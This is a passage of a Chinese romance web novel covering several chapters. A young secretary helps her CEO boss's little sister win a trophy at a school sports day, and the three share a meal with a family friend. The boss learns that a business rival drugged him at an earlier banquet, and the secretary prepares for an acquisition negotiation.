运动场上的音乐在此时停止,亲子运动会开幕式到了。
校方似乎清楚今日到场嘉宾时间的宝贵,没有冗长无聊的领导讲话,孩子们以班级为单位绕着操场走过一圈,不到五分钟的动员演讲后,校长激动宣布,亲子运动会正式开始。
鉴于项目比较多,虞晚和傅许安选择了几个拿奖杯可能性最高的项目参加。
第一个就是三人两足。
傅许安叉着腰,振振有词道:“你们两个腿都很长,我就不拖你们后腿了,你们一人一边提着我的胳膊,带着我跑向终点吧!”
安排得还挺好,但傅知尧拒绝。
“找双人项目,你和虞晚参加。”
“那你呢?!”傅许安瞪大眼。
傅知尧姿势不变,从口袋里拿出不知何时塞进去的墨镜,只露出俊朗的半张脸,一派闲适怡然:“我?给你们加油。”
虞晚、傅许安:“……”
直到从看台离开,傅许安还气呼呼的:“可恶可恶!就知道傅知尧这个大笨蛋不靠谱,简直太可恶了,我要把他一脚踹到外太空!”
说完,傅许安转过身,抱住虞晚,可怜巴巴地说:“虞晚姐姐,你一定要给我拿冠军,我们的希望都在你身上了,只要一个冠军就好,哥哥不参加的三人项目徽章我会找同学买的,我们的目标就是拿下全部两人项目徽章!”
虞晚头痛,还是道:“我们尽量吧。”
傅许安这才露出笑容,拿起运动会手册,开始搜罗:“既然如此,我们的第一个运动项目就选……”
“袋鼠跳跳跳!”
项目规则其实很简单,孩子和家长相距二十米,家长需要穿着袋鼠腿套,从起点一路跳到终点,最先抵达终点的家庭获胜,但学校在这个规则基础上又加了两条:家长需要将八个直径相同高度不同的圆柱体从起点运输到终点,由终点处的孩子们手动将圆柱按照高矮顺序排列,最先排列完成,按下终止键的家庭获胜。
穿着袋鼠腿套跳倒是不难,但跳的同时还要拿稳圆柱体就有些困难,毕竟腿套宽大,必须用手抓住,否则就会掉到地上,影响跳动。
虞晚思考片刻,最终选择跑两趟,每一趟拿四个圆柱体,虽然搬运两趟虽然有些费功夫,但游戏规则设定如果中途圆柱体掉落,不能捡,只能折返再去拿。
给了家长们两分钟准备时间,穿着红马甲的老师吹响发令口哨。
虞晚迅速拿起圆柱体,两个夹在胳膊下,另外两个用手拿,同腿套一起捏紧,随后蹦跶出去。
虞晚是第一个蹦跶出来的。
终点处,傅许安激动地跳起来,头顶两边蝴蝶结跟着跳动:“虞晚!虞晚!虞晚!”
虞晚原以为自己的对策已经够全面了,然而旁边那位学生的家长比她还要厉害,口哨响后,其他几个家长已经蹦出老远一截,他还站在原地调整。
等虞晚第一趟运输完毕,转过身回起点再拿时,就看到那位家长一次拿完八个圆柱体从起点朝终点蹦跶过来。
两个夹在胳膊下,两个拿在手心,大腿中间夹两个,脸颊和脖子中间再夹两个,硬生生将八个圆柱体一起拿了起来。
不过因为拿得多,那位家长跳动的速度不算快,虞晚抓紧时间返回,然而还是晚了一步,刚抵达终点,就听到老师吹哨宣布项目结束。
傅许安将老师发的参与奖徽章别在T恤上,小大人般安慰虞晚。
“虞晚,没办法的,那位大人是沈适炆家里的保镖,力气可大了,可以扛起三个你,算了算了,我们继续下一个项目吧。”
虞
晚苦涩:“……好。”
坐在看台边的傅知尧正在用手机查看邮件,毕竟是在公共场合,不适合处理文件。
看邮件的中途,傅知尧抬头在操场内搜寻虞晚和傅许安的身影,发现两人正在充气垫上奋力跳跃伸手够上面吊着的道具玩偶,一个大人一个小孩,认真得彷佛在参加什么奥运比赛。
傅知尧摇摇脑袋,庆幸自己今天找了虞晚,否则他还真当不了这个甩手掌柜。
一个半小时后。
虞晚和傅许安已经参加完五个项目,一个冠军也没拿,累得瘫倒在运动帐篷下,坐姿同款懒散,没个正经。
虞晚拧开学校免费提供的矿泉水,让傅许安喝,两人喝着水,缓解干渴和疲惫。
休息片刻,虞晚拿出运动手册,同傅许安分析。
虞晚:“安安,我们已经参加了五个运动项目,体力消耗多,再参加一些费体力的项目夺冠可能性也不大,所以我们最好找个不拼力气和速度的项目。”
虞晚体力已经算是不错了,小时候在孤儿院干活,离开孤儿院四处兼职,高温天气穿着厚重玩偶服发传单也是小儿科,但还是比不过那些专业人士,为了给小朋友拿到奖杯,一个个可谓使出十八般武艺。
好在傅许安小朋友同样是个精力十足的小朋友,全程为她加油鼓气,没有拿到奖杯也丝毫不抱怨。
傅许安觉得虞晚说的有道理,她们已经拼尽全力,还是只拿到了纪念徽章。
虽说纪念徽章她也很喜欢,但是她更喜欢金灿灿的奖杯,想到这里,傅许安擦了一把额头上的汗,朝看台投去一个白眼。
只会享福的臭哥哥!
傅许安:“虞晚姐姐我听你的,没拿到奖杯也不要紧,我们已经很努力了。”
虞晚和傅许安坐在一起,趁着休息时间嘀嘀咕咕讨论最有可能拿到奖杯的运动项目,选定项目,又嘀嘀咕咕商量起对策。
傅许安从花坛上跳下来,恢复斗志满满的样子:“好!迷途的大象,出发!”
傅知尧花费一个半小时将堆积的工作邮件处理完,不紧不慢活动脖颈和手臂,远眺操场,搜寻一大一小的身影。
算算时间,两人大概玩了五六个运动项目,应该不至于连一个奖杯都没拿到。
视线稍稍停顿,傅知尧看到了虞晚。
她站在距离他最近的那条跑道,眼睛被灰色的大象形状的眼罩遮住,只露出一个白皙的下巴,被穿着红马甲的老师引到起跑线上,终点处是一脸激动期待的傅许安。
看样子,这个比赛应该是‘迷途的大象’。
比赛内容简单,参赛家长戴着眼罩,原地转五圈后出发,孩子们站在终点指挥家长前进,第一个抵达终点的家庭赢得奖杯。
傅知尧挑了下眉毛,摘下脸上的墨镜,百无聊赖看起比赛。
哨声响起,虞晚弯腰捏着鼻子转圈,五圈结束,虞晚没有直接出发,站稳后,抬头向傅许安发出信号。
不远处,傅许安大声提醒虞晚:“虞晚姐姐!可以!没问题!直走!”
确认方向没错,虞晚在傅许安激动的叫喊声中缓步出发,因为转过圈,虞晚脚步有些晃。
但相比旁边几位找不到方位,甚至因为晕眩摔倒在地的家长,虞晚可谓稳当。
跑道长度只有二十米左右,傅知尧看着虞晚逐渐缩短与傅许安的距离。
十米,五米,三米,一米。
傅许安的激动显而易见,恨不得原地蹦到三尺高,嗓门比谁都大:“虞晚加油!虞晚加油!直走虞晚!”
等虞晚脚步迈过终点,傅许安一把抱住虞晚的腰。
“虞晚!我们第一个!我们赢了!你好厉害!”
虞晚摘下眼罩,接住傅许安小朋友热情的拥抱。
傅许安仰头看着虞晚,双眼明亮,期待地询问:“虞晚,你现在还有多余的力气吗?能不能给我一个胜利的举高高!”
虞晚愣了两秒,点头:“可以呀。”
于是弯下腰,将傅许安再次举起,傅许安轻盈地抬起双腿,再次享受在空中腾飞的感觉,笑得露出洁白整齐的牙齿,毫不避讳表达对虞晚的喜爱:“虞晚!你好厉害呀!谢谢你!我好喜欢你!”
如此热烈,如此直白的表达,饶是虞晚这样内敛的人都被感染。
傅知尧撑着下巴,瞧见虞晚脸上缓缓绽开的笑容,红润的唇角微微上扬,明媚的春光下,眼角眉梢都透着绯色,清丽动人,比鲜花招摇,比绿树清澈,让人忍不住将目光驻足。
意识到自己视线停留时间过长,傅知尧不动声色收回视线,阳光过于炙热,傅知尧再次戴上墨镜,仍旧掩盖不住升温。
得到奖杯,傅许安小朋友心满意足,她热情亲了一口虞晚,又热情亲了一口奖杯,没再拉着虞晚参加项目。
傅许安说:“虞晚,谢谢你,我已经拿到最想要的奖杯了,我们就不参加运动项目了,机会让给其他人吧,否则我们就要累坏了,知足常乐,这是我奶奶教给我的。”
二年级的傅许安已经不是当初读幼儿园的她了,她懂得了许多道理,知道世界上没有童话故事,知道电视剧里演的都是假的,知道爸爸妈妈去世是永远不会回来,知道奶奶变老是要走向死亡,她觉得自己是个小大人了,小大人都是讲道理的。
她同臭哥哥约定好拿到一个奖杯就行,既然已经拿到了,就不麻烦虞晚姐姐了。
唉,臭哥哥只知道让她和虞晚姐姐参加项目,一点都不懂事。
虞晚和傅许安手牵手,刚走到看台阶梯,面前罩下一道阴影,熟悉的苦艾香气侵袭而来。
虞晚抬头看去,是傅知尧。
对比她和傅许安,傅知尧简直不要太舒服,身上干干净净、清清爽爽,双手插兜,戴着精致昂贵的墨镜,居高临下地看着她们。
傅许安吐槽:“不劳动的人最丑陋。”
傅知尧:“……”
虞晚:“……”
她咳嗽两声,主动开口缓解尴尬:“老板,我们已经拿到奖杯了,安安说可以找老师登记离开学校。”
傅知尧抬了一下下巴,“去吧,我在这里等你们。”
虞晚带着傅许安去找她的班主任。
班主任是一位很年轻的女人,她先是和傅许安打招呼,看向虞晚时有些好奇,“您是安安的……”
傅许安先一步开口:“温老师,她是我的姐姐!她叫虞晚!”
温老师笑笑,“好的,安安姐姐,你们是已经参加完项目准备回家是吗?”
虞晚点头,“对的,小朋友今天参加了许多项目,精力消耗得差不多,想让她早点回家休息。”
傅许安想反驳,自己一点都不累,但是大人说话,小孩不能插嘴,于是抱着自己的奖杯等虞晚和温老师结束聊天。
大人真啰嗦,一个拜拜都要说那么久。
等虞晚带着傅许安回来,傅知尧已经走下看台,三人并肩同行,傅许安走在两人正中央。
她双臂高举奖杯,阳光下奖杯金灿灿的,傅许安越看越开心,忍不住高声呼喊。
“哇!奖杯!奖杯!我的奖杯!我爱奖杯!奖杯真好~”
傅许安说着说着就唱了起来,童声清脆稚嫩,虽然不成调,但也别有一番趣味。
虞晚和傅知尧被她的动静吸引,偏头看向傅许安。
早晨精心扎好的蝴蝶结发型此刻早已凌乱,一高一低垂在脑后,小朋友额头出了汗,发丝粘黏,齐刘海被她随意拨到两边,圆润光洁的脸蛋红扑扑像苹果,可爱到让人想咬一口,眼睛明亮清澈,阳光下带着点棕褐色,和老板如同一个模子刻出来的。
虞晚想,分明是亲兄妹,傅许安个性和傅知尧半点不像。
傅许安情绪外放,热情得像是太阳,傅知尧情绪淡漠,时常让人看不穿他的心思。
不过虞晚看得更透彻,傅许安自幼失去父母,还能成长为如此阳光聪慧的样子,自然
和傅知尧这个哥哥分不开。
性冷淡装修里唯一一个公主风卧室,是大魔王别样而内敛的温柔。
想到这里,虞晚不由得勾起唇角,傅知尧注意到虞晚唇角的笑意,愣了两秒,借着低头看傅许安,同样扬起嘴角。
三人都没注意,身后,班级的摄影师举起相机,咔嚓一声,为三人拍下了一张构图和谐的照片。
第23章
亲子运动会结束,虞晚和傅知尧做的第一件事就是脱掉身上穿的T恤。
换好衣服上车,虞晚将装有运动T恤的袋子放到座位旁,这回她没再坐中间,将中间的位置让给傅许安。
看了眼时间,居然快十二点了。
距离六点半被老板叫醒已经过了将近五个半小时,按照加班工资三倍算的话大概是七百多块钱,是相当丰厚的一笔酬劳。
将消耗体力的运动项目看作免费锻炼的话,这一趟,虞晚绝对是赚了的。
等老板慢悠悠优雅地上车,虞晚便礼貌提出告辞。
傅知尧瞥她一眼,“跳了一上午,肚子不饿?”
虞晚眨眨眼。
老板这是要请她吃午饭的意思?
傅许安见虞晚没回答,误以为她要离开,急忙抓住虞晚的手:“虞晚你现在就要回家吗?我们还没交换联系方式呢,而且你帮我拿了奖杯,总该让某个什么都不做的人表示表示呀。”
“没关系的……”
反正,老板给了加班费呀。
虞晚抬头看傅知尧,期待老板讲点什么话拒绝。
傅知尧垂眸,漫不经心掸了掸衣角不存在的褶皱,嗓音低醇:“想吃什么?”
虞晚瞪大眼。
最终定了一家私房公馆菜,老板任性,每天只招待一桌客人,菜单还不容许客人挑,都是跟着当季菜品走。
公馆在市中心的老胡同里,走进去,历史的厚重感和沉淀感甚至压过了一旁的高楼大厦,叫虞晚觉得惊奇。
傅许安牵着她的手,让她得以一边走一边欣赏。
这个世界上还有太多太多她没有看过的新鲜事情,不能用相机记录的,她还能用眼睛记住。
公馆门楣上挂着一块描金牌匾,上书二字:同尘。
走进古朴的公馆大门,里面别有洞天,院子里种着几棵参天古树,浓厚的树荫下,一位中年男人正躺在摇椅上看书,时有微风拂来,画面惬意松弛。
虞晚瞥了眼男人手里的书,还是本菜谱。
不知道被翻过多少遍,书脊劈了叉,靠软胶勉强黏住,书壳少了一半,跟被狗啃过。
傅许安先喊了一声:“勤叔叔!我们来吃饭啦!”
中年男人头也不抬,口吻熟络,不带半点责怪之意:“说了多少次要预约要预约,你们总让我破例。”
傅知尧语声带笑,“勤叔,谁说我是来消费的,我分明是厚着脸想让你请我们吃饭。”
中年男人书一合,露出粗犷不修边幅的脸,粗黑的眉毛一皱,宛若钟馗:“傅知尧,别以为你这么大了我就不敢踢你屁股了……诶?这位是……”
中年男人视线立刻被傅知尧身边的虞晚吸引,一个挺身从摇椅上站起来,一脸喜悦地看着虞晚。
傅知尧听到勤叔的心声-
【傅知尧女朋友?稀奇稀奇,祈明啊祈明,你和明玉没来得及看到的儿媳我替你们看到了,嗯,和年轻时候的明玉真像……】
后面是带着点哭腔的沉默。
傅知尧一时哑然,等反应过来,虞晚和傅许安已经被勤叔热情地拉进了公馆,他紧跟着走进去。
恰好听到虞晚紧张兮兮否认的声音:“不是的,您弄错了,我在傅氏工作,是老板的秘书。”
勤叔转过脸看傅知尧,双眼微眯,似是同他确认:“嗯?秘书?”-
【还没追到人家?傅知尧这小子不行啊,没他爸当年半个胆,别是人虞姑娘压根儿没看上他。】
傅知尧:“……”
傅知尧没理会,大踏步从三人身边掠过,直径进了包厢。
门没关,傅知尧洗手的时候听到外面传来声音。
勤叔:“虞晚啊,你们老板这个个性很不好相处吧,当他的秘书不容易啊。”
虞晚:“……没有的事。”
勤叔:“我还能不了解他,都说三岁看到老,我跟你讲啊,他小时候可倔了,有一次来我家里睡觉,忘记给他准备换洗的内裤,让他光屁股睡觉他也不肯,硬生生坐在浴室凳子上当蘑菇,最后没办法,连夜开车去他家拿了内裤,这才把小祖宗哄去洗澡。”
虞晚:“……”
不要说了!不要说了!听老板小时候的八卦,她不要命了是吗?!
虞晚恨不得捂起耳朵。
好在下一秒傅知尧就来救场了,他倚靠在门框上,用干净的毛巾擦着骨节分明的手指,淡淡开口,彷佛勤叔说的不是他。
“听够了?”
虞晚下意识点头,反应过来老板说的是什么后又猛地摇摇头。
傅许安是第一次听勤叔叔说哥哥小时候的事情,捧腹哈哈大笑,“哥哥小时候好好笑哦!”
勤叔看了眼表情冷淡的傅知尧,勉为其难收住讲故事的心情,让餐厅里的伙计给他们安排茶水,自己则去后厨炒菜。
临出包厢前,勤叔特意询问虞晚:“虞姑娘,有没有什么忌口呀?”
虞晚连忙挺直脊背,“没有的,我都可以吃,麻烦勤叔了。”
勤叔笑眯眯的:“好嘞,想喝什么找小蒋说,安安,你也是噢。”
傅许安点头:“好!谢谢勤叔叔!”
趁着炒菜的功夫,虞晚带着傅许安去洗手,不到半小时,菜上齐,勤叔顺势留下来和几人一起吃饭。
傅许安毫不掩饰对勤叔的夸奖:“虞晚姐姐,勤爷爷做的菜特别特别好吃,你今天上午辛苦了,多吃点,吃得饱饱的。”
“好,我知道了。”虞晚笑着回应她,抬头看向勤叔,又道:“麻烦勤叔了。”
勤叔摆摆手,“多大点事,你要是还想来直接来就是,想吃什么我给你做。”
虞晚有些困惑。
老板不是说勤叔的菜馆不接受点菜吗?
吃上饭,虞晚就知道傅许安说勤叔叔做菜特别好吃是半点没夸张。
分明是些再普通不过的家常菜,但蔬菜就吃得出蔬菜的清甜,肉就没腥味,半点不柴,也不是靠宽油浓酱堆砌出来的滋味,好吃得让虞晚眼底发亮。
见虞晚喜欢,勤叔给她倒了点自己去年酿的杨梅酒,酒精入口并不浓烈,果香更明显,回味带着甘甜。
虞晚眼睛亮起来:“好喝!”
勤叔笑:“好喝也不能贪杯,别以为喝着没什么感觉,实际上度数高着呢。”
虞晚点点头,转而认真品尝起其他菜肴。
看着虞晚和傅许安吃饭的模样,勤叔宽慰地笑起来。
傅知尧又听见他的心声-
【能吃是福,知尧小时候就不爱吃饭,可愁坏了祈明夫妻俩,生怕孩子不长个,事实证明长不长个和基因有关,知尧还是长了个大高个。】
傅知尧夹菜的动作微顿,摒弃杂念,克制自己不去听勤叔的心声。
吃完饭,虞晚带着傅许安先回车上,傅知尧脚步慢了些和勤叔聊天。
“勤叔,我听周瞿洋说,你这个月没去医院检查?”
“你还问我?整得我好像得什么绝症似的,每个月都要去检查一次身体,半年去一次就行了啊,你和小洋说一声,月月去多浪费医疗资源。”
傅知尧诚心劝说:“勤叔,身体健康比什么都重要。”
勤叔这辈子没娶妻,孤寡老人一个,傅知尧一向将他当亲人,自然关照他的身体,万一有个不妥,也能及时发现,防患于未然。
勤叔说:“你找个女朋友比什么都重要。”
傅知尧无奈,“这能比?”
勤
叔拒绝回答,反问傅知尧:“知尧呀,我觉得虞姑娘挺好的,这个世界上表里如一的人不多,我看得出来,虞姑娘是个不错的人,你对她到底有没有那个意思?”
傅知尧脚步一顿,“她是我秘书。”
“谁问你这个了,我是问你喜不喜欢她。”
“不喜欢。”
勤叔困惑:“不喜欢你把她带我这里来吃饭,不喜欢你不阻止我给她讲你小时候的事情?”
傅知尧调理清晰:“带她来吃饭是因为她上午帮傅许安拿到运动会奖杯,这是谢礼。不阻止您讲,是因为我想考验她是不是一个会随意散布老板八卦的人。再说了,因为没有换洗内裤所以拒绝洗澡难道很丢人?不过是爱干净而已。”
勤叔:“……”
这口吻,还和小时候一样高傲臭屁。
勤叔抬起大腿,膝盖照着傅知尧屁股来了一下,傅知尧措不及防,往前踉跄一步,差点摔在地上。
“勤叔!”他忿忿转头看勤叔。
“再见再见,我懒得瞧见你。”
勤叔手背在身后,朝公馆方向走,背影潇洒自在,留傅知尧大高个孤零零又无助地站在路口。
车上,虞晚和傅许安睁着两双圆眼睛躲在车窗后偷看。
傅许安捂着嘴,发出鹅鹅笑声:“虞晚姐姐,你看见我哥挥起来的手没?像大飞蛾!”
虞晚咬唇。
是很像,但她不能笑。
下午不需要‘加班’,虞晚得以免费乘坐大老板的车回学校。
从公馆到学校大概要一个半小时的时间,路上,虞晚和傅许安有一搭没一搭地聊天。
傅许安问虞晚有什么爱好,虞晚问傅许安参加什么兴趣班,傅许安问虞晚大学生活开心不开心,虞晚问傅许安每天作业多不多。
两人年纪差有十五岁,但也聊得津津有味,时不时爆发一阵笑声。
傅知尧拿两人聊天声音当背景音,竖起平板开始处理文件,仅一个上午过去,文件就堆积了一大堆。
处理到一半,傅知尧收到蔡秘书发来的消息。
蔡秘书已经查清楚了星玥酒店三十周年庆典当晚发生的事情。
给他下药、找来媒体大肆宣扬的人的确是陆屿森。
宴会开始前,陆屿森找到那位服务生,给了那人一大笔钱,让对方潜伏,好准确无误将下了药的酒杯送到他手中。
被发现之初,那位服务员还秉持着职业精神,收钱干活不出卖雇主,但听到蔡秘书说雇主是屿风集团总裁,就算出事也会花大价钱请律师辩护,什么责任都不会承担,最终,服务生抵抗不住长达一星期的禁闭,交代了一切。
同时爆料说给傅知尧下的药是最猛的那种,足以让傅知尧在事情发生后忘记一切,但服务生顾忌傅知尧的身份,下药时控制了分量,没全部倒进去。
除此之外,陆屿森还准备了一位不介意露脸的外围小姐,在原本的计划里,服务生会将喝醉酒的傅知尧送去楼上房间,紧接着,就是等生米煮成熟饭,媒体再冲进去拍照,假装发现傅知尧嫖.娼的证据。
情.色绯闻一旦闹上热搜,是最容易摧毁人声誉,也是最下贱、最没有道德底线的手段。
陆决风之所以出现在酒店是想赶在事发前阻止。
傅知尧看着消息,眼眸逐渐冷下来。
因为早有预料,傅知尧对真相并不吃惊,他平静地给收购部的总监钱喜成发去消息。
【我听说屿风集团这周和听彩短视频创始人汪步仁见过面,表达了收购意愿,听彩有没有收购必要,明天十点前将报告发我。】
第24章
关掉手机,傅知尧视线被旁边靠在一起睡觉的两人吸引。
傅许安对虞晚带着一种天然的信任和依赖,圆圆的脸蛋靠在虞晚胸侧,脑袋枕着虞晚胳膊,一只小手搭在虞晚腹部,呼呼大睡,为了避免小朋友倒下去,虞晚一只手搂着傅许安,放在傅许安腰侧,几乎是将傅许安整个人抱在怀里。
不到片刻,虞晚的手因重力下滑,落到了他身侧,指尖隔着轻薄的西装布料擦过他的大腿,像是将一道细微而存在感十足的电流释放过来。
傅知尧猛地抓起虞晚的手扔回去,动静有些大,虞晚动了动,睁开惺忪的眼,“……是到学校了吗?”
傅知尧不自在清清嗓子,“还有十几分钟。”
听到老板的声音,虞晚这才想起今天开车的司机不是武叔,是和武叔换班的另一个司机,车前挡板升起,前排司机听不到他们聊天的声音。
虞晚下意识直起身:“啊好,谢谢老板送我回学校。”
傅知尧竖起手中的平板,视线瞥向旁边的虞晚。
她正在调整傅许安的睡姿,调整完,拿出湿纸巾给傅许安擦了擦脸蛋,傅许安无意识吧嗒了一下嘴,又重新靠回她身上。
虞晚有些无奈,她待会要下车,这样一直靠着她可不行,当即重新调整位置,让傅许安好靠在车座上。
就在这时,虞晚听见老板的声音,“虞晚,今天早上用电话将你叫醒是不是觉得很不爽?”
虞晚:“……”
虽然董总监和林特助一直强调不要对老板撒谎,但虞晚觉得,太直白的话说出来不仅不会博得好感,反而只会让人觉得缺心眼,所以很多次虞晚都是避重就轻地回答。
譬如此刻,虞晚说:“老板,谁都不会对三倍加班费生气的。”
这世界上还有人和钱过不去?如果有,那绝对不会是她。
傅知尧再次一噎。
尽管傅知尧早就知道虞秘书是个见钱眼开的财迷,尽管今早是他故意用三倍加班工资诱惑虞晚赴约,但不知为何,听到虞晚的回答,傅知尧还是有些许不爽。
他脑海里不自觉浮现出勤叔的心声:【别是人虞姑娘压根儿没看上他。】
切,他还需要虞晚看中?
追他的女人能从傅氏排到海江塔,他还需要虞晚看中?他缺虞晚一个看中吗?
傅知尧冷嗤一声,拿起平板,没给虞晚投去一个眼神。
虞晚早已习惯傅知尧的喜怒无常,默默收拾好自己的东西,下车后同傅知尧道谢,站在原地等载着老板的车辆离开。
傅知尧握着电容笔,在文件末尾批上自己的名字,半晌,还是转过视线。
虞晚拎着挎包站在原地,身形瘦弱纤细,分明那么矮那么瘦那么薄,当时是怎么把他从地上扛起来的?
浓郁的日光中,虞晚慢慢缩成黑色小点,车子拐过弯便彻底看不见她的身影。
傅知尧收回视线,为自己举动觉得莫名。
他是老板,总被小秘书的行为牵着走算什么。还是说,这就是听不见心声的后遗症?
忽然,傅知尧视线一顿,看到虞晚留在车内的那个纸袋,拎起来一看,纸袋里装着的正是今日她穿的那件T恤。
除了妈妈两个字,背面还印着傅许安画的画,她画了云朵、太阳、鲜花、还有六个手拉手的人。
凭借傅知尧对傅许安的了解,应该是爷爷奶奶、爸爸妈妈,他以及傅许安。
傅知尧目光停在傅许安画着的父母身上,两人牵着手,脸上带着灿烂笑容,中间是红色线条的爱心。
他手指轻抚过画上人的脸,声音有些低:“希望今天梦见你们。”
一旁傅许安小朋友身子一歪,倒在他身上。
傅知尧:“……”
隔天周日,傅知尧在老宅休息了一晚,晨起锻炼完,洗了个澡下楼吃早餐。
餐桌前,奶奶和傅许安已经开始吃了。
傅许安正摆弄她的新手机,像是在给什么人发消息,用两只手的食指噼里啪啦点着屏幕上的拼音,像是在敲击发电报似的。
傅知尧坐下来,傅许安还在发消息,他皱了皱眉,“傅许安,吃饭就吃饭,不要玩手机。”
傅许安当没听到,一边打字一边说:“哎
呀哎呀,等等嘛,我在和虞晚姐姐聊天,虞晚姐姐说她已经吃完早餐正在工作,她起床好早呀,就是回消息速度有些慢,等我和她说完拜拜再放手机。”
傅知尧想起虞晚那个付款就死机不知道多少年前的老古董手机,轻嗤一声,“就她那个破手机,能收到信号就不错了。”
话音刚落,就见奶奶和傅许安同时投来视线。
和傅许安好奇的视线不同,奶奶马吟芳女士的目光带着探究意味,唇角的弧度却和蔼,透着点看热闹和八卦的意思。
傅知尧不自在咳嗽两声,若无其事地盛了碗粥,展开一旁的报纸看起来,颇有种欲盖弥彰。
马吟芳笑着摇摇头,看破不说破,昨天发生了什么,她这个老太婆可是门清儿。
收到傅许安消息时,虞晚刚打开电脑写了没多久的报告。
昨天陪傅许安参加亲子运动会,大概是体力消耗多,虞晚睡得格外香,今天早早就起床了。
吃过早餐,虞晚戴好帽子口罩和手套,将宿舍上下认真打扫了一遍,这才坐下来写三月工作总结。
工作报告这种东西虞晚上辈子没少写,写起来得心应手,手机里跳出傅许安消息时,虞晚还有些诧异。
停下打字的手给傅许安回消息。
傅许安同她吐槽傅知尧:【虞晚,你不知道,我哥好过分的,我昨天在车上睡醒,发现他把我心爱的奖杯倒扣在我的脑袋上![生气][生气][发火][发火]!】
虞晚看到这条消息,忍不住笑出声。
老板有点幼稚还会开玩笑这点,和老板相处这个月她已经体会到了些许,更何况傅许安是老板的妹妹。
好像兄妹关系好就会互相捉弄、抱怨,但实际上彼此都很喜欢对方,只是表达爱的方式不一样,呈现出来的形式也不一样。
傅许安会直白吐槽傅知尧,也会乖乖听哥哥的话,拿到一个奖杯就满足,傅知尧会陪傅许安参加运动会,穿上那件背后印着‘爸爸’的幼稚T恤。
于是虞晚打字回复:【奖杯重不重,压得脑袋疼吗?】
和傅许安聊完,虞晚继续写报告,不到半小时就写完,检查了一遍错别字情况,去公司系统内点了提交。
距离虞晚初次入职傅氏已经过去了一个多月,但她在总裁办实习的时间却尚未超过老板定下的一个月。
剩下的一个星期左右的时间就是她最后可以争取的期限。
如果转正成功,她租房的预算能往上提一提,如果回到行政部,虞晚的租房预算还是原定的价格,位置离公司远点没关系,行政部员工少有加班的时候,工作相对轻松,通勤路上花费的时间可以拿来休息。
总而言之,不管能不能留在总裁办,虞晚都不会亏。
但虞晚还是想试一试,她觉得自己已经适应了总裁办的节奏,也跟得上老板的大致思路,只是在合作谈判这块稍显薄弱,如果因为老板没表达给她转正的信号就放弃不尝试,她肯定会后悔。
思及此,虞晚不再犹豫,开始复盘入职总裁办后遇到的项目,以及项目的后续跟进。
还是那句话,没吃过猪肉,总见过猪跑吧。
看繁杂的项目报告是表面的,学项目从策划到落地的逻辑才是最重要的。
虞晚埋头翻着文件,笔记上有关工作的内容又多了厚厚一摞,但她脸上丝毫不见疲倦,反而是汲取知识的满足和认真。
周一,虞晚元气满满去上班。
进入行政区时,仍旧空无一人,虞晚将挎包放好,开始新一周的工作——
整理老板的周行程表,需要调整的、需要提前告知相关人员的……,合作商的性格和公司经营情况等,这些和老板的工作息息相关,虞晚不能忽视。
而老板这周的工作重点,是一个叫听彩短视频APP的收购谈判。
这是老板昨晚临时发来的,说明听彩APP的收购原先并不在老板的计划范围内。
严格意义上讲,短视频算文娱产业,而傅氏对文娱产业的涉猎并不多。
这次收购谈判,是和听彩APP的创始人,即步可思议公司的老总汪步仁进行谈判。
傅氏收购的,不仅是听彩APP,更是步可思议这个公司,只是收购的重点在听彩罢了。
虞晚作为秘书,大概率会参与进谈判,但如果她像上回和禾延集团谈合作那般只会安静坐在角落当透明人,恐怕挨不到一个月的试用期就会被老板宣布结束实习期。
端茶倒水的事谁都会做,可如果能在工作上帮到老板,就意味着不可替代性提高。
虞晚看了眼谈判时间,正是这周四,这表明虞晚有三天左右的时间可以准备。
虞晚将傅知尧本周行程表处理好放到一边,立刻着手对听彩短视频的了解。
先是将听彩短视频软件以及步可思议公司的背景发展资料打印出来,紧接着登陆员工账号,查看公司公开过的收购、并购文件。
她毕竟是个小秘书,权限不够,能查阅的资料有限,但虞晚可不认为这些公开的资料没用。
公司不是慈善家,收购或者并购其他公司肯定是有利于公司发展的,要么出于战略发展需要,利用目标公司拓展市场,要么整合资源提高公司实力和品牌影响力,要么就是基于最简单的财务回报。
这些目的都能从收购、并购资料中找到依据。
第25章
虞晚将资料下载打印出来,依次用夹子夹好,还没来得及看,手机闹钟响起,她提醒自己给傅总买早餐的时间到了。
虞晚将资料放入抽屉,拿着手机下楼。
大厦一楼有两家咖啡厅,老板最常喝的是一家叫Vinta的咖啡厅。
趁着排队的时间,虞晚看着屏幕上的菜单,思索今天该给老板买什么早餐。
傅知尧口味偏甜,但又不喜过于甜腻,所以他咖啡只喝拿铁,不喝诸如美式这样的纯咖,糖浆只加一半,通常是两泵或者一泵,早餐吃的可颂或贝果更是隔天就要换一个口味,同一种品类的早餐吃超过两次他就厌倦,至于包子或者烧饼这种味道浓郁油腻的食物,傅知尧看都不看。
虞晚很快选定,等到店员开口询问她的时候。
毫不犹豫:“一份温热的抹茶拿铁,奶基底换成燕麦奶,不额外加糖,外加一份菠菜虾仁蛋包三明治,三明治里不要放黑胡椒,打包带走。”
“好的,一份温热燕麦奶抹茶拿铁,无糖,一份菠菜虾仁三明治不放黑胡椒,一共八十四块钱,扫码还是现金?”
“扫码。”
虞晚解锁手机,刚点开支付页面,屏幕就玩起了死机,怎么动都没反应,虞晚往口袋里去摸钱包,空荡荡的,她今天下楼匆忙忘记带钱包了。
收银的店员还在等待,虞晚急得脸蛋燥热,正准备和店员说稍后付款,身后就伸来一只骨节分明的手。
男人低沉的嗓音响起:“一份意式浓缩加冰,一份酸奶油火腿可颂,额外加一些苦苣菜,和前面这位账单一起结,分开打印小票,分开外带打包。”
店员当即点头,动作利索下单:“好的先生,一共一百六十一块,这边是您的两张小票,请拿好,稍后在取餐台那边取餐。”
虞晚扭过头,看清了身后站着的人,是关彦轩。
结完账,关彦轩垂着一双狭长的眼往取餐台那边走,虞晚跟着他身后。
虞晚有些拘束,主要是她觉得关总监不太喜欢她,只是碍于她挡在他前面,影响他买早餐,迫不得已出手。
但好歹人家帮了她,虞晚鼓起勇气打招呼:“关总监,好巧啊,你也来买早餐,刚刚谢谢你帮我结账,待会儿上楼我就把结账的钱还给你。”
关彦轩抬眼看虞晚几秒,仍旧面无表情,难得开口,但开口就给了她一刀:“不然呢,我来这边排队领鸡蛋?”
虞晚:“……”
好巧,巧你不懂吗?重点在巧!
虞晚在心底默默为自己正名,随后手里就被塞入一张小票,正是她为傅总买的两样早餐。
虞晚看着小票,心想,其实关总监就是人冷心肠热,没什么恶意,至于那些看她和看蠢蛋一样的眼神,可能是因为她长得的确不算聪明吧。
想到这里,虞晚露出一个笑容,诚恳道谢:“谢谢关总监。”
